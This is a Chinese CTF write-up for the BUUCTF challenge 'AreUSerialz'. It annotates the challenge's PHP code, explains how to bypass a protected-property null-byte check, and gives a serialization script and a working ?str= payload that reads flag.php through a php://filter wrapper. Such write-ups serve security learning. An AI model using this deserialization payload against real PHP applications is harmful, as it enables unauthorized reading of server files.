題目來源:BUUCTF??[網鼎杯 2020 青龍組]AreUSerialz
目錄
一、打開靶機,整理信息
二、解題思路
step 1:代碼審計
step 2:開始解題
突破protected訪問修飾符限制
三、小結
一、打開靶機,整理信息
? ? ? ? 直接得到一串php代碼,根據題目可以看到還有序列化
二、解題思路
step 1:代碼審計
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { //創建FileHandler類//定義了三個受保護的屬性protected $op;protected $filename;protected $content;//構造函數,對三個受保護的屬性進行初始化,然后調用process()方法function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}//定義公共的成員方法,并根據$this->op的值來執行不同的操作public function process() {if($this->op == "1") {$this->write(); //值為1,則調用write方法進行文件寫入操作} else if($this->op == "2") {$res = $this->read(); //值為2,則調用read方法讀取文件內容,并將結果傳遞給output方法輸出$this->output($res);} else {$this->output("Bad Hacker!");}}//定義公共的成員方法private function write() {if(isset($this->filename) && isset($this->content)) { //檢查二者是否都已設置if(strlen((string)$this->content) > 100) { //經檢查$thie->content的長度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content); //使用file_put_contents函數將$this->content寫入$this->filename文件中,根據寫入結果輸出相應的信息if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) { //檢查$this->filename是否已設置,如果設置則使用file_get_contents()函數讀取該文件的內容并返回$res = file_get_contents($this->filename);}return $res;}//輸出[Result]: <br>作為前綴,然后輸出傳入的字符串$sprivate function output($s) {echo "[Result]: <br>";echo $s;}//析構函數,如果$this->op嚴格等于"2",則將其設置為"1",清空$this->content,然后調用process()方法。function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}//檢查傳入的字符串$s中的每個字符的ASCII碼是否在32到125之間,如果有不在該范圍內的字符則返回false,否則返回true
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}//處理GET請求
if(isset($_GET{'str'})) { //檢查GET請求是否包含str參數,如果包含,將其轉換為字符串并調用is_valid()函數進行驗證$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str); //驗證通過則對該字符串進行反序列化操作}}
代碼總結:幾個重要的點①滿足op=1,則進行write寫入操作,op=2,就會執行read方法和output方法;②滿足content<100,則將$this->content寫入$this->filename文件中;③利用ord函數,檢查$s的字符串的ASCII值是否在32-125之間(包含了空格、符號、數字、大小寫字母),這里用%00轉換為\00即可繞過;④GET方式傳參,參數是str,傳入的值為字符串類型,然后要進行反序列化操作
step 2:開始解題
? ? ? ? 要想得到flag,需要繞過process方法,防止op=1,所以令op=2,直接進入read函數,然后傳入filename,并使用file_get_contents函數讀取文件,可以借助php://filter偽協議讀取文件,獲取文件后使用output函數輸出
????????一個需要注意的地方是,$op,$filename,$content三個變量權限都是protected,而protected權限的變量在序列化的時會有%00*%00字符,%00字符的ASCII碼為0,就無法通過上面的is_valid函數校驗。
摘自[網鼎杯 2020 青龍組]AreUSerialz - 春告鳥 - 博客園
突破protected訪問修飾符限制
? ? ? ? 大佬的腳本如下([網鼎杯 2020 青龍組]AreUSerialz - 春告鳥 - 博客園)
<?phpclass FileHandler {protected $op=2;protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// $this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}
$A=new FileHandler();
$B=serialize($A);
echo $B;
? ? ? ? 運行得到的結果有三個地方字符顯示不正確的地方就是%00字符,這里可以利用本地序列化的時候將屬性改為public進行繞過(php7.1+版本對屬性類型不敏感),即
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
得到正常結果
? ? ? ? 構造payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
得到一串base64編碼過的信息,進行base64解碼,得到flag
三、小結
1.和反序列化有關的題目還是得寫腳本
2.新知識:突破protected訪問修飾符限制